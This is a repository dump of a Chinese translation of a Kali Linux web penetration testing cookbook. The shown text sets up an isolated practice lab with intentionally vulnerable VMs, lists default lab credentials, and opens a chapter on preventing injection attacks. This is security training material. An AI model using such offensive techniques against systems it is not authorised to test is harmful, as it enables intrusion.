├── .gitignore ├── README.md ├── SUMMARY.md ├── ch1.md ├── ch10.md ├── ch2.md ├── ch3.md ├── ch4.md ├── ch5.md ├── ch6.md ├── ch7.md ├── ch8.md ├── ch9.md ├── cover.jpg ├── img ├── .gitignore ├── 1-1-1.jpg ├── 1-1-2.jpg ├── 1-1-3.jpg ├── 1-2-1.jpg ├── 1-2-2.jpg ├── 1-2-3.jpg ├── 1-3-1.jpg ├── 1-3-2.jpg ├── 1-4-1.jpg ├── 1-4-2.jpg ├── 1-5-1.jpg ├── 1-5-2.jpg ├── 1-5-3.jpg ├── 1-6-1.jpg ├── 1-6-2.jpg ├── 1-6-3.jpg ├── 1-7-1.jpg ├── 1-7-2.jpg ├── 1-7-3.jpg ├── 1-7-4.jpg ├── 1-8-1.jpg ├── 1-8-2.jpg ├── 1-8-3.jpg ├── 1-8-4.jpg ├── 2-1-1.jpg ├── 2-1-2.jpg ├── 2-1-3.jpg ├── 2-10-1.jpg ├── 2-10-2.jpg ├── 2-10-3.jpg ├── 2-10-4.jpg ├── 2-10-5.jpg ├── 2-2-1.jpg ├── 2-2-2.jpg ├── 2-2-3.jpg ├── 2-2-4.jpg ├── 2-3-1.jpg ├── 2-4-1.jpg ├── 2-4-2.jpg ├── 2-4-3.jpg ├── 2-4-4.jpg ├── 2-5-1.jpg ├── 2-5-2.jpg ├── 2-6-1.jpg ├── 2-6-2.jpg ├── 2-6-3.jpg ├── 2-6-4.jpg ├── 2-7-1.jpg ├── 2-7-2.jpg ├── 2-7-3.jpg ├── 2-8-1.jpg ├── 2-9-1.jpg ├── 2-9-2.jpg ├── 3-1-1.jpg ├── 3-1-2.jpg ├── 3-2-1.jpg ├── 3-2-2.jpg ├── 3-3-1.jpg ├── 3-3-2.jpg ├── 3-3-3.jpg ├── 3-3-4.jpg ├── 3-4-1.jpg ├── 3-4-2.jpg ├── 3-4-3.jpg ├── 3-4-4.jpg ├── 3-4-5.jpg ├── 3-4-6.jpg ├── 3-4-7.jpg ├── 3-5-1.jpg ├── 3-5-2.jpg ├── 3-5-3.jpg ├── 3-5-4.jpg ├── 3-6-1.jpg ├── 3-6-2.jpg ├── 3-6-3.jpg ├── 3-6-4.jpg ├── 4-1-1.jpg ├── 4-1-2.jpg ├── 4-1-3.jpg ├── 4-1-4.jpg ├── 4-10-1.jpg ├── 4-10-2.jpg ├── 4-10-3.jpg ├── 4-11-1.jpg ├── 4-2-1.jpg ├── 4-2-2.jpg ├── 4-2-3.jpg ├── 4-3-1.jpg ├── 4-3-2.jpg ├── 4-3-3.jpg ├── 4-3-4.jpg ├── 4-3-5.jpg ├── 4-4-1.jpg ├── 4-4-2.jpg ├── 4-4-3.jpg ├── 4-4-4.jpg ├── 4-5-1.jpg ├── 4-5-2.jpg ├── 4-5-3.jpg ├── 4-5-4.jpg ├── 4-5-5.jpg ├── 4-6-1.jpg ├── 4-6-2.jpg ├── 4-6-3.jpg ├── 4-7-1.jpg ├── 4-7-2.jpg ├── 4-7-3.jpg ├── 4-8-1.jpg ├── 4-9-1.jpg ├── 4-9-2.jpg ├── 4-9-3.jpg ├── 5-1-1.jpg ├── 5-1-2.jpg ├── 5-2-1.jpg ├── 5-2-2.jpg ├── 5-2-3.jpg ├── 5-3-1.jpg ├── 5-3-2.jpg ├── 5-3-3.jpg ├── 5-3-4.jpg ├── 5-3-5.jpg ├── 5-4-1.jpg ├── 5-4-2.jpg ├── 5-4-3.jpg ├── 5-4-4.jpg ├── 5-4-5.jpg ├── 5-5-1.jpg ├── 5-5-2.jpg ├── 5-5-3.jpg ├── 5-5-4.jpg ├── 5-6-1.jpg ├── 5-6-2.jpg ├── 5-6-3.jpg ├── 6-1-1.jpg ├── 6-1-2.jpg ├── 6-1-3.jpg ├── 6-1-4.jpg ├── 6-1-5.jpg ├── 6-10-1.jpg ├── 6-10-2.jpg ├── 6-10-3.jpg ├── 6-10-4.jpg ├── 6-10-5.jpg ├── 6-10-6.jpg ├── 6-2-1.jpg ├── 6-2-2.jpg ├── 6-2-3.jpg ├── 6-2-4.jpg ├── 6-2-5.jpg ├── 6-3-1.jpg ├── 6-3-2.jpg ├── 6-3-3.jpg ├── 6-3-4.jpg ├── 6-4-1.jpg ├── 6-4-2.jpg ├── 6-4-3.jpg ├── 6-5-1.jpg ├── 6-5-2.jpg ├── 6-5-3.jpg ├── 6-5-4.jpg ├── 6-5-5.jpg ├── 6-5-6.jpg ├── 6-6-1.jpg ├── 6-6-2.jpg ├── 6-6-3.jpg ├── 6-6-4.jpg ├── 6-6-5.jpg ├── 6-7-1.jpg ├── 6-7-2.jpg ├── 6-7-3.jpg ├── 6-7-4.jpg ├── 6-7-5.jpg ├── 6-7-6.jpg ├── 6-8-1.jpg ├── 6-8-2.jpg ├── 6-8-3.jpg ├── 6-8-4.jpg ├── 6-9-1.jpg ├── 6-9-2.jpg ├── 6-9-3.jpg ├── 7-1-1.jpg ├── 7-1-2.jpg ├── 7-1-3.jpg ├── 7-2-1.jpg ├── 7-2-2.jpg ├── 7-2-3.jpg ├── 7-2-4.jpg ├── 7-2-5.jpg ├── 7-3-1.jpg ├── 7-3-2.jpg ├── 7-3-3.jpg ├── 7-3-4.jpg ├── 7-3-5.jpg ├── 7-3-6.jpg ├── 7-4-1.jpg ├── 7-4-10.jpg ├── 7-4-11.jpg ├── 7-4-12.jpg ├── 7-4-13.jpg ├── 7-4-14.jpg ├── 7-4-15.jpg ├── 7-4-2.jpg ├── 7-4-3.jpg ├── 7-4-4.jpg ├── 7-4-5.jpg ├── 7-4-6.jpg ├── 7-4-7.jpg ├── 7-4-8.jpg ├── 7-4-9.jpg ├── 7-5-1.jpg ├── 7-5-2.jpg ├── 7-5-3.jpg ├── 7-5-4.jpg ├── 7-6-1.jpg ├── 7-6-2.jpg ├── 7-6-3.jpg ├── 7-6-4.jpg ├── 7-6-5.jpg ├── 7-6-6.jpg ├── 7-6-7.jpg ├── 7-7-1.jpg ├── 7-7-2.jpg ├── 7-7-3.jpg ├── 7-7-4.jpg ├── 7-7-5.jpg ├── 7-7-6.jpg ├── 7-7-7.jpg ├── 7-7-8.jpg ├── 7-8-1.jpg ├── 7-8-2.jpg ├── 7-8-3.jpg ├── 7-9-1.jpg ├── 7-9-2.jpg ├── 7-9-3.jpg ├── 8-0-1.jpg ├── 8-1-1.jpg ├── 8-1-2.jpg ├── 8-1-3.jpg ├── 8-1-4.jpg ├── 8-2-1.jpg ├── 8-2-2.jpg ├── 8-2-3.jpg ├── 8-2-4.jpg ├── 8-3-1.jpg ├── 8-3-2.jpg ├── 8-3-3.jpg ├── 8-3-4.jpg ├── 8-4-1.jpg ├── 8-5-1.jpg ├── 8-5-2.jpg ├── 8-5-3.jpg ├── 8-6-1.jpg ├── 8-6-2.jpg ├── 8-6-3.jpg ├── 9-1-1.jpg ├── 9-1-2.jpg ├── 9-1-3.jpg ├── 9-1-4.jpg ├── 9-2-1.jpg ├── 9-2-2.jpg ├── 9-3-1.jpg ├── 9-3-2.jpg ├── 9-3-3.jpg ├── 9-3-4.jpg ├── 9-4-1.jpg ├── 9-4-2.jpg ├── 9-4-3.jpg ├── 9-5-1.jpg ├── 9-5-2.jpg ├── 9-5-3.jpg ├── 9-5-4.jpg └── qr_alipay.png └── styles └── ebook.css /.gitignore: -------------------------------------------------------------------------------- 1 | _book 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kali Linux Web 渗透测试秘籍 中文版 2 | 3 | > 原书:[Kali Linux Web Penetration Testing Cookbook](https://www.packtpub.com/networking-and-servers/kali-linux-web-penetration-testing-cookbook) 4 | > 5 | > 译者:[飞龙](https://github.com/wizardforcel) 6 | > 7 | > 第二版请见[ Kali Linux Web 渗透测试手册(第二版)](https://github.com/xuanhun/HackingResource#kali-linux-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E6%89%8B%E5%86%8C%E7%AC%AC2%E7%89%88) 8 | 9 | + [在线阅读](https://www.gitbook.com/book/wizardforcel/kali-linux-web-pentest-cookbook/details) 10 | + [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/kali-linux-web-pentest-cookbook) 11 | + [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/kali-linux-web-pentest-cookbook) 12 | + [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/kali-linux-web-pentest-cookbook) 13 | + [Github](https://github.com/wizardforcel/kali-linux-web-pentest-cookbook-zh) 14 | + [Git@OSC](http://git.oschina.net/wizardforcel/kali-linux-web-pentest-cookbook-zh) 15 | 16 | ## 赞助我 17 | 18 | ![](img/qr_alipay.png) 19 | 20 | ## 协议 21 | 22 | [CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 23 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | + [Kali Linux Web 渗透测试秘籍 中文版](README.md) 2 | + [第一章 配置 Kali Linux](ch1.md) 3 | + [第二章 侦查](ch2.md) 4 | + [第三章 爬虫和蜘蛛](ch3.md) 5 | + [第四章 漏洞发现](ch4.md) 6 | + [第五章 自动化扫描](ch5.md) 7 | + [第六章 利用 -- 低悬的果实](ch6.md) 8 | + [第七章 高级利用](ch7.md) 9 | + [第八章 中间人攻击](ch8.md) 10 | + [第九章 客户端攻击和社会工程](ch9.md) 11 | + [第十章 OWASP Top 10 的预防](ch10.md) -------------------------------------------------------------------------------- /ch1.md: -------------------------------------------------------------------------------- 1 | # 第一章 配置 Kali Linux 2 | 3 | > 作者:Gilberto Najera-Gutierrez 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室。 12 | 13 | ## 1.1 升级和更新 Kali 14 | 15 | 在我们开始 Web 应用安全测试之前,我们需要确保我们拥有所有必要的最新工具。这个秘籍涉及到使 Kali 和它的工具保持最新版本的基本步骤。 16 | 17 | ### 准备 18 | 19 | 我们从 Kali 已经作为主操作系统安装到计算机上,并带有网络连接来开始。这本书中所使用的版本为 2.0。你可以从 下载 live CD 和安装工具。 20 | 21 | ### 操作步骤 22 | 23 | 一旦你的 Kali 实例能够启动和运行,执行下列步骤: 24 | 25 | 1. 以 root 登录 Kali。默认密码是 toor,不带双引号。你也可以使用`su`来切换到该用户,或者如果喜欢使用普通用户而不是 root 的话,用`sudo`来执行单条命令。 26 | 27 | 2. 打开终端。 28 | 29 | 3. 运行`apt-get update`命令。这会下载可用于安装的包(应用和工具)的更新列表。 30 | 31 | ``` 32 | apt-get update 33 | ``` 34 | 35 | ![](img/1-1-1.jpg) 36 | 37 | 4. 一旦安装完成,执行下列命令来将非系统的包更新到最新的稳定版。 38 | 39 | ``` 40 | apt-get upgrade 41 | ``` 42 | 43 | ![](img/1-1-2.jpg) 44 | 45 | 5. 当被询问是否继续时,按下`Y`并按下回车。 46 | 47 | 6. 下面,让我们升级我们的系统。键入下列命令并按下回车: 48 | 49 | ``` 50 | apt-get dist-upgrade 51 | ``` 52 | 53 | ![](img/1-1-3.jpg) 54 | 55 | 7. 现在,我们更新了 Kali 并准备好了继续。 56 | 57 | ### 工作原理 58 | 59 | 这个秘籍中,我们涉及到了更新基于 Debian 的系统(比如 Kali)的基本步骤。首先以`update`参数调用`apt-get`来下载在所配置的仓库中,用于我们的特定系统的包的最新列表。下载和安装仓库中最新版本的所有包之后,`dist-update`参数下载和安装`upgrade`没有安装的系统包(例如内核和内核模块)。 60 | 61 | > 这本书中,我们假设 Kali 已经作为主操作系统在电脑上安装。也可以将它安装在虚拟机中。这种情况下,要跳过秘籍“安装 VirtualBox”,并按照“为正常通信配置虚拟机”配置 Kali VM 的网络选项。 62 | 63 | ### 更多 64 | 65 | 有一些工具,例如 Metasploit 框架,拥有自己的更新命令。可以在这个秘籍之后执行它们。命令在下面: 66 | 67 | ``` 68 | msfupdate 69 | ``` 70 | 71 | ## 1.2 安装和运行 OWASP Mantra 72 | 73 | OWASP(开放 Web 应用安全项目,)中的研究员已经将 Mozilla FIrefox 与 大量的插件集成,这些插件用于帮助渗透测试者和开发者测试 Web 应用的 bug 或安全缺陷。这个秘籍中,我们会在 Kali 上安装 OWASP Mantra(),首次运行它,并查看一些特性。 74 | 75 | 大多数 Web 应用渗透测试都通过浏览器来完成。这就是我们为什么需要一个带有一组工具的浏览器来执行这样一个任务。OWASP Mantra 包含一系列插件来执行任务,例如: 76 | 77 | + 嗅探和拦截 HTTP 请求 78 | 79 | + 调试客户端代码 80 | 81 | + 查看和修改 Cookie 82 | 83 | + 收集关于站点和应用的信息 84 | 85 | ### 准备 86 | 87 | 幸运的是, OWASP Mantra 默认包含于 Kali 的仓库中。所以,要确保我们获得了浏览器的最新版本,我们需要更新包列表: 88 | 89 | ``` 90 | apt-get update 91 | ``` 92 | 93 | ### 操作步骤 94 | 95 | 1. 打开终端并执行: 96 | 97 | ``` 98 | apt-get install owasp-mantra-ff 99 | ``` 100 | 101 | ![](img/1-2-1.jpg) 102 | 103 | 2. 在安装完成之后,访问菜单:` Applications | 03 - Web Application Analysis | Web Vulnerability Scanners | owasp-mantra-ff`来首次启动 Mantra。或者在终端中输入下列命令: 104 | 105 | ``` 106 | owasp-mantra-ff 107 | ``` 108 | 109 | ![](img/1-2-2.jpg) 110 | 111 | 3. 在新打开的浏览器中,点击 OWASP 图标之后点击`Tools`。这里我们可以访问到所有 OWASP Mantra 包含的工具。 112 | 113 | ![](img/1-2-3.jpg) 114 | 115 | 4. 我们会在之后的章节中使用这些工具。 116 | 117 | ### 另见 118 | 119 | 你可能也对 Mantra on Chromium (MOC)感兴趣,这是 Mantra 的一个替代版本,基于 Chromium 浏览器。当前,它只对 Windows 可用:。 120 | 121 | ## 1.3 配置 Iceweasel 浏览器 122 | 123 | 如果我们不喜欢 OWASP Mantra,我们可以使用 Firefox 的最新版本,并安装我们自己的测试相关插件。Kali Linux 包含了 Iceweasel,另一个 Firefox 的变体。我们这里会使用它来看看如何在它上面安装我们的测试工具。 124 | 125 | ### 操作步骤 126 | 127 | 1. 打开 Iceweasel 并访问`Tools | Add-ons`。就像下面的截图这样: 128 | 129 | ![](img/1-3-1.jpg) 130 | 131 | 2. 在搜素框中,输入`tamper data `并按下回车。 132 | 133 | ![](img/1-3-2.jpg) 134 | 135 | 3. 在`Tamper Data `插件中点击`Install`。 136 | 137 | 4. 对话框会弹出,询问我们接受 EULA,点击`Accept and Install...`。 138 | 139 | > 你可能需要重启你的浏览器来完成特定插件的安装。 140 | 141 | 5. 下面,我们在搜索框中搜索`cookies manager+ `。 142 | 143 | 6. 在`cookies manager+ `插件中点击`Install`。 144 | 145 | 7. 现在,搜索`Firebug`。 146 | 147 | 8. 搜索和安装`Hackbar`。 148 | 149 | 9. 搜索和安装` HTTP Requester`。 150 | 151 | 0. 搜索和安装`Passive Recon`。 152 | 153 | ### 工作原理 154 | 155 | 目前为止,我们在 Web 浏览器中安装了一些工具,但是对 Web 应用渗透测试者来说,这些工具好在哪里呢? 156 | 157 | + `Cookies Manager+`:这个插件允许我们查看,并有时候修改浏览器从应用受到的 Cookie 的值。 158 | 159 | + `Firebug`:这是任何 Web 开发者的必需品。它的主要功能是网页的内嵌调试器。它也在你对页面执行一些客户端修改时非常有用。 160 | 161 | + `Hackbar`:这是一个非常简单的插件,帮助我们尝试不同的输入值,而不需要修改或重写完整的 URL。在手动检查跨站脚本工具和执行注入的时候,我们会很频繁地使用它。 162 | 163 | + `Http Requester`:使用这个工具,我们就能构造 HTTP 链接,包括 GET、POST 和 PUT 方法,并观察来自服务器的原始响应。 164 | 165 | + `Passive Recon`:它允许我们获得关于网站被访问的公共信息,通过查询 DNS 记录、WHOIS、以及搜索信息,例如邮件地址、链接和 Google 中的合作者。 166 | 167 | + `Tamper Data`:这个插件能够在请求由浏览器发送之后,捕获任何到达服务器的请求。这提供给我们了在将数据引入应用表单之后,在它到达服务器之前修改它的机会。 168 | 169 | ### 更多 170 | 171 | 有一些插件同样对 Web 应用渗透测试者有用,它们是: 172 | 173 | + XSS Me 174 | + SQL Inject Me 175 | + FoxyProxy 176 | + iMacros 177 | + FirePHP 178 | + RESTClient 179 | + Wappalyzer 180 | 181 | ## 1.4 安装 VirtualBox 182 | 183 | 这是我们的第四篇秘籍,会帮助我们建立虚拟机环境,并运行它来实施我们的渗透测试。我们会使用 VirtualBox 在这样的环境中运行主机。这个秘籍中,我们会了解如何安装 VirtualBox 以及使它正常工作。 184 | 185 | ### 准备 186 | 187 | 在我们在 Kali 中安装任何东西之前,我们都必须确保我们拥有最新版本的包列表: 188 | 189 | ``` 190 | apt-get update 191 | ``` 192 | 193 | ### 操作步骤 194 | 195 | 1. 我们首先实际安装 VirtualBox: 196 | 197 | ``` 198 | apt-get install virtualbox 199 | ``` 200 | 201 | ![](img/1-4-1.jpg) 202 | 203 | 2. 安装完成之后,我们要在菜单中寻找 VirtualBox,通过访问`Applications | Usual applications | Accessories | VirtualBox`。作为替代,我们也可以从终端调用它: 204 | 205 | ``` 206 | virtualbox 207 | ``` 208 | 209 | ![](img/1-4-2.jpg) 210 | 211 | 现在,我们运行了 VirtualBox 并且已经准备好配置虚拟机来构建我们自己的测试环境。 212 | 213 | ### 工作原理 214 | 215 | VirtualBox 允许我们在我们的 Kali 主机上通过虚拟化运行多个主机。通过它,我们可以使用不同的计算机和操作系统来挂载完整的环境。并同时运行它们,只要 Kali 主机的内存资源和处理能力允许。 216 | 217 | ### 更多 218 | 219 | 虚拟机扩展包,提供了 VirtualBox 的虚拟机附加特性,例如 USB 2.0/3.0 支持和远程桌面功能。它可以从 下载。在下载完成后双击它,VirtualBox 会做剩余的事情。 220 | 221 | ### 另见 222 | 223 | 除此之外有一些可视化选项。如果你使用过程中感到不方便,你可以尝试: 224 | 225 | + VMware Player/Workstation 226 | + Qemu 227 | + Xen 228 | + KVM 229 | 230 | ## 1.5 创建漏洞虚拟机 231 | 232 | 现在我们准备好创建我们的第一个虚拟机,它是托管 Web 应用的服务器,我们使用应用来实践和提升我们的渗透测试技巧。 233 | 234 | 我们会使用叫做 OWASP BWA( Broken Web Apps)的虚拟机,它是存在漏洞的 Web 应用的集合,特别为执行安全测试而建立。 235 | 236 | ### 操作步骤 237 | 238 | 1. 访问 ,并下载最新版本的`.ova`文件。在本书写作过程中,它是`OWASP_Broken_Web_Apps_ VM_1.1.1.ova`。 239 | 240 | ![](img/1-5-1.jpg) 241 | 242 | 2. 等待下载完成,之后打开文件: 243 | 244 | 3. VirtualBox 的导入对话框会显示。如果你打算修改机器名称或描述,你可以通过双击值来完成。我们会命名为`vulnerable_vm`,并且使剩余选项保持默认。点击`Import`。 245 | 246 | ![](img/1-5-2.jpg) 247 | 248 | 4. 导入需要花费一分钟,之后我们会看到我们的虚拟机显示在 VirtualBox 的列表中。让我们选中它并点击`Start`。 249 | 250 | 5. 在机器启动之后,我们会被询问登录名和密码,输入`root`作为登录名,`owaspbwa`作为密码,这样设置。 251 | 252 | ![](img/1-5-3.jpg) 253 | 254 | ### 工作原理 255 | 256 | OWASP BWA 是一个项目,致力于向安全从业者和爱好者提供安全环境,用于提升攻击技巧,并识别和利用 Web 应用中的漏洞,以便帮助开发者和管理员修复和防止漏洞。 257 | 258 | 这个虚拟机包含不同类型的 Web 应用,一些基于 PHP,一些基于 Java,甚至还有一些基于 .NET 的漏洞应用。也有一些已知应用的漏洞版本,例如 WordPress 或 Joomla。 259 | 260 | ### 另见 261 | 262 | 当我们谈论漏洞应用和虚拟机的时候,有很多选择。有一个著名网站含有大量的此类应用,它是 VulnHub(`https:// www.vulnhub.com/`)。它也有一些思路,帮助你解决一些挑战并提升你的技能。 263 | 264 | 这本书中,我们会为一些秘籍使用另一个虚拟机: bWapp Bee-box。它也可以从 VulnHub 下载:。 265 | 266 | ## 1.6 获取客户端虚拟机 267 | 268 | 当我们执行中间人攻击(MITM)和客户端攻击时,我们需要另一台虚拟机来向已经建立的服务器发送请求。这个秘籍中,我们会下载 Microsoft Windows 虚拟机并导入到 VirtualBox 中。 269 | 270 | ### 操作步骤 271 | 272 | 1. 首先我们需要访问下载站点 。 273 | 274 | 2. 这本书中,我们会在 Win7 虚拟机中使用 IE8。 275 | 276 | ![](img/1-6-1.jpg) 277 | 278 | 3. 文件下载之后,我们需要解压它。访问它下载的位置。 279 | 280 | 4. 右击它并点击`Extract Here`(解压到此处)。 281 | 282 | 5. 解压完成后,打开`.ova`文件并导入到 VirtualBox 中。 283 | 284 | ![](img/1-6-2.jpg) 285 | 286 | 6. 现在启动新的虚拟机(名为`IE8 - Win7`),我们就准备好客户端了。 287 | 288 | ![](img/1-6-3.jpg) 289 | 290 | ### 工作原理 291 | 292 | Microsoft 向开发者提供了这些虚拟机来在不同的 Windows 和 IE 版本上测试它们的应用,带有 30 天的免费许可,这足以用于实验了。 293 | 294 | 作为渗透测试者,意识到真实世界的应用可能位于多个平台,这些应用的用户可能使用大量的不同系统和 Web 浏览器来和互相通信非常重要。知道了这个之后,我们应该使用任何客户端/服务器的设施组合,为成功的渗透测试做准备。 295 | 296 | ### 另见 297 | 298 | 对于服务端和客户端的虚拟机,如果你在使用已经构建好的配置时感到不便,你总是可以构建和配置你自己的虚拟机。这里是一些关于如何实现的信息:。 299 | 300 | ## 1.7 为正常通信配置虚拟机 301 | 302 | 为了能够和我们的虚拟服务器和客户端通信,我们需要位于相同网段内。但是将带有漏洞的虚拟机放到局域网中可能存在安全风险。为了避免它,我们会在 VirtualBox 中做一个特殊的配置,允许我们在 Kali 中和服务器及客户端虚拟机通信,而不将它们暴露给网络。 303 | 304 | ### 准备 305 | 306 | 在我们开始之前,打开 VirtualBox 并且宝漏洞服务器和客户端虚拟机都关闭了。 307 | 308 | ### 操作步骤 309 | 310 | 1. 在 VirtualBox 中访问`File | Preferences… | Network`。 311 | 312 | 2. 选择`Host-only Networks`标签页。 313 | 314 | 3. 点击`+`按钮来添加新网络。 315 | 316 | 4. 新的网络(`vboxnet0`)会创建,它的详细窗口会弹出。如果没有,选项网络并点击编辑按钮来编辑它的属性。 317 | 318 | ![](img/1-7-1.jpg) 319 | 320 | 5. 在对话框中,你可以指定网络配置。如果它不影响你的本地网络配置,将其保留默认。你也可以修改它并使用其它为局域网保留的网段中的地址,例如 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16。 321 | 322 | 6. 合理配置之后,点击`OK`。 323 | 324 | 7. 下一步是配置漏洞虚拟机(vulnerable_vm)。选择它并访问它的设置。 325 | 326 | 8. 点击`Network `并且在`Attached to:`下拉菜单中,选择` Host-only Adapter`。 327 | 328 | 9. 在`Name`中,选择`vboxnet0`。 329 | 330 | 0. 点击`OK`。 331 | 332 | ![](img/1-7-2.jpg) 333 | 334 | 1. 在客户端虚拟机(`IE8 - Win7`)中执行第七步到第十步。 335 | 336 | 2. 在配置完两个虚拟机之后,让我们测试它们是否能真正通信。启动两个虚拟机。 337 | 338 | 3. 让我们看看宿主系统的网络通信:打开终端并输入: 339 | 340 | ``` 341 | ifconfig 342 | ``` 343 | 344 | ![](img/1-7-3.jpg) 345 | 346 | 4. 我们可以看到我们拥有叫做`vboxnet0 `的网络适配器,并且它的 IP 地址为 192.168.56.1。取决于你所使用的配置,这可能有所不同。 347 | 348 | 5. 登录 vulnerable_vm 并检查适配器`eth0`的 IP 地址。 349 | 350 | ``` 351 | ifconfig 352 | ``` 353 | 354 | 6. 现在,让我们访问我们的客户端主机`IE8 - Win7`。打开命令行提示符并输入: 355 | 356 | ``` 357 | ipconfig 358 | ``` 359 | 360 | 7. 现在,我们拥有了三台机器上的 IP 地址。 361 | 362 | + 192.168.56.1 :宿主机 363 | + 192.168.56.102 :vulnerable_vm 364 | + 192.168.56.103 :IE8 - Win7 365 | 366 | 8. 为了测试通信,我们打算从宿主机中 ping 两个虚拟机。 367 | 368 | ``` 369 | ping -c 4 192.168.56.102 370 | ping -c 4 192.168.56.103 371 | ``` 372 | 373 | ![](img/1-7-4.jpg) 374 | 375 | ping 会发送 ICMP 请求给目标,并等待回复。这在测试网络上两个节点之间是否可以通信的时候非常有用。 376 | 377 | 9. 我们对两个虚拟机做相同操作,来检车到服务器和到另一台虚拟机的通信是否正常。 378 | 379 | 0. IE8 - Win7 虚拟机可能不响应 ping,这是正常的,因为 Win7 的配置默认不响应 ping。为了检查连接性,我们可以从 Kali 主机使用`arping`。 380 | 381 | ``` 382 | arping –c 4 192.168.56.103 383 | ``` 384 | 385 | ### 工作原理 386 | 387 | 仅有主机的网络是虚拟网络,它的行为像 LAN,但是它仅仅能够访问宿主机,所运行的虚拟机不会暴露给外部系统。这种网络也为宿主机提供了虚拟适配器来和虚拟机通信,就像它们在相同网段那样。 388 | 389 | 使用我们刚刚完成的配置,我们就能够在客户端和服务器之间通信,二者都可以跟 Kali 主机通信,Kali 会作为攻击主机。 390 | 391 | ## 1.8 了解漏洞 VM 上的 Web 应用 392 | 393 | OWASP BWA 包含许多 Web 应用,其内部含有常见攻击的漏洞。它们中的一些专注于一些特定技巧的实验,而其它尝试复制碰巧含有漏洞的,真实世界的应用。 394 | 395 | 这个秘籍中,我们会探索 vulnerable_vm,并了解一些其中包含的应用。 396 | 397 | ### 准备 398 | 399 | 我们需要启动我们的 vulnerable_vm,并正确配置它的网络。这本书中,我们会使用 192.168.56.102 作为它的 IP 地址。 400 | 401 | ### 操作步骤 402 | 403 | 1. vulnerable_vm 启动后,打开 Kali 主机的 Web 浏览器并访问`http://192.168.56.102`。你会看到服务器所包含的所有应用列表。 404 | 405 | ![](img/1-8-1.jpg) 406 | 407 | 2. 让我们访问`Damn Vulnerable Web Application`。 408 | 409 | 3. 使用`admin`作为用户名,`admin`作为密码。我们可以看到左边的菜单:菜单包含我们可以实验的所有漏洞的链接:爆破、命令执行、SQL 注入,以及其它。同样,DVWA 安全这部分是我们用于配置漏洞输入的安全(或复杂性)等级的地方。 410 | 411 | ![](img/1-8-2.jpg) 412 | 413 | 4. 登出并返回服务器的主页。 414 | 415 | 5. 现在我们点击`OWASP WebGoat.NET`。这是个 .NET 应用,其中我们可以实验文件和代码注入攻击,跨站脚本,和加密漏洞。它也含有 WebGoat Coins Customer Portal,它模拟了商店应用,并可以用于实验漏洞利用和漏洞识别。 416 | 417 | ![](img/1-8-3.jpg) 418 | 419 | 6. 现在返回服务器的主页。 420 | 421 | 7. 另一个包含在虚拟机中的有趣应用是 BodgeIt。它是基于 JSP 的在线商店的最小化版本。它拥有我们可以加入购物车的商品列表,带有高级选项的搜索页面,为新用户准备的注册表单,以及登录表单。这里没有到漏洞的直接引用,反之,我们需要自己找它们。 422 | 423 | ![](img/1-8-4.jpg) 424 | 425 | 8. 我们在一个秘籍中不能浏览所有应用,但是我们会在这本书中使用它们。 426 | 427 | ### 工作原理 428 | 429 | 主页上的应用组织为六组: 430 | 431 | + 训练应用:这些应用分为几部分,专注于实验特定的漏洞或攻击技巧。他它们中的一些包含教程、解释或其他形式的指导。 432 | 433 | + 真实的,内部含有漏洞的应用:这些应用的行为就像真实世界的应用(商店】博客或社交网络)一样,但是开发者出于训练目的在内部设置了漏洞。 434 | 435 | + 真实应用的旧(漏洞)版本:真是应用的旧版本,例如 WordPress 和 Joomla 含有已知的可利用的漏洞。这对于测试我们的漏洞识别技巧非常实用。 436 | 437 | + 用于测试工具的应用:这个组中的应用可以用做自动化漏洞扫描器的基准线测试。 438 | 439 | + 演示页面/小应用:这些小应用拥有一个或一些漏洞,仅仅出于演示目的。 440 | 441 | + OWASP 演示应用:OWASP AppSensor 是个有趣的应用,它模拟了社交网络并含有一些漏洞。但是他会记录任何攻击的意图,这在尝试学习的时候很有帮助。例如,如何绕过一些安全设备,例如网络应用防火墙。 442 | -------------------------------------------------------------------------------- /ch10.md: -------------------------------------------------------------------------------- 1 | # 第十章 OWASP Top 10 的预防 2 | 3 | > 作者:Gilberto Najera-Gutierrez 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 每个渗透测试的目标都是识别应用、服务器或网络中的可能缺陷,它们能够让攻击者有机会获得敏感系统的信息或访问权限。检测这类漏洞的原因不仅仅是了解它们的存在以及推断出其中的漏洞,也是为了努力预防它们或者将它们降至最小。 12 | 13 | 这一章中,我们会观察一些如何预防多数 Web 应用漏洞的例子和推荐,根据 OWASP: 14 | 15 | https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project 16 | 17 | ## A1 预防注入攻击 18 | 19 | 根据 OWASP,Web 应用中发现的最关键的漏洞类型就是一些代码的注入攻击,例如 SQL 注入、OS 命令注入、HTML 注入(XSS)。 20 | 21 | 这些漏洞通常由应用的弱输入校验导致。这个秘籍中,我们会设计一些处理用户输入和构造所使用的请求的最佳实践。 22 | 23 | ### 操作步骤 24 | 25 | 1. 为了防止注入攻击,首先需要合理校验输入。在服务端,这可以由编写我们自己的校验流程来实现,但是最佳选择是使用语言自己的校验流程,因为它们更加广泛使用并测试过。一个极好的激励就是 PHP 中的` filter_var `,或者 ASP.NET 中的 校验助手。例如,PHP 中的邮箱校验类似于: 26 | 27 | ```php 28 | function isValidEmail($email){ 29 | return filter_var($email, FILTER_VALIDATE_EMAIL); 30 | } 31 | ``` 32 | 33 | 2. 在客户端,检验可以由创建 JavaScript 校验函数来完成,使用正则表达式。例如,邮箱检验流程是: 34 | 35 | ```js 36 | function isValidEmail (input) { 37 | var result=false; 38 | var email_regex = 